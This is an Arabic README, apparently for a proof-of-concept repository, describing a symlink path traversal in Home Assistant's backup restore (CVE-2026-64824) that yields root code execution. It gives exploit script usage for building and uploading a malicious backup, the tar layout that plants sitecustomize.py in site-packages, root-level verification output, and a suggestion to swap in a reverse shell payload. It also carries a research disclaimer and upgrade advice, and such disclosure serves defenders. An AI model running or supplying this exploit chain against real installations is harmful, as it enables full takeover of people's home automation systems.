
CVE-2026-64824 — ثغرة اجتياز مسار الارتباط الرمزي (symlink) في النسخ الاحتياطي والاستعادة في Home Assistant تؤدي إلى RCE بصلاحيات الجذر. أول PoC يعمل، تم التحقق منه على إصدار حقيقي HA 2026.5.4 (الكتابة فوق sitecustomize.py). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (حرجة) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
مهاجم موثّق (admin) يرفع ملف tar احتياطي مُعدّ بعناية. يستخرج مسار الاستعادة الملف الداخلي homeassistant.tar.gz مع filter="fully_trusted" ولا يتحقق إلا من أسماء الأعضاء — وليس linknames الخاصة بنوع SYMTYPE أبدًا. يتم احترام رابط رمزي يشير إلى مسار مطلق (مثل site-packages/ الخاصة ببايثون)، لذا فإن ملف sitecustomize.py المكتوب بعد الرابط يستقر خارج دليل الاستخراج بصلاحيات الجذر (صورة Docker الرسمية تشغّل HA بصلاحيات الجذر). عند بدء تشغيل Python التالي يتم استيراده تلقائيًا → RCE بصلاحيات الجذر.
✅ مثيل حقيقي من Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ استقر sitecustomize.py في /usr/local/lib/python3.14/site-packages/ (بملكية الجذر)
✅ فحص سلبي: يرفض tarfile في Python 3.14.5 الروابط الرمزية المطلقة (FileExistsError)؛ بينما يستخرجها Python 3.14.2 (المرفق مع HA 2026.5.x) — ولهذا السبب يمكن استغلال الإصدارات الأقدم. تم الإصلاح في HA 2026.7.0.
الملف homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
ترفض secure_path() الأسماء المطلقة والاجتياز عبر ..، لكن عضوًا من نوع SYMTYPE باسم غير ضار + linkname مطلق يمر عبر الفلتر دون تغيير، ويجعل fully_trusted مكتبة tarfile لا تراقبه.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
تنسيق النسخة الاحتياطية (v2، يطابق النسخ الاحتياطية الحقيقية لـ HA):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
أي بدء لعملية Python (إعادة تشغيل HA، أو python3 ... داخل الحاوية) يستدعي sitecustomize.py — الذي ينفّذ id > /tmp/HA_PWNED_64824 بصلاحيات الجذر. استبدل الحمولة بحمولة reverse shell للسيطرة الكاملة.
قم بالترقية إلى HA 2026.7.0+ (تستخدم الاستعادة الآن مرشح tar صارمًا يرفض إدخالات الروابط الرمزية التي تهرب من دليل الاستخراج).
لأغراض البحث والتعليم فقط. تم الإفصاح عن الثغرة مسبقًا (GHSA-cwh8-w64c-4j5h) وأُصلحت في الإصدار 2026.7.0؛ ويعرض هذا المستودع سلسلة الاستغلال للمدافعين والباحثين.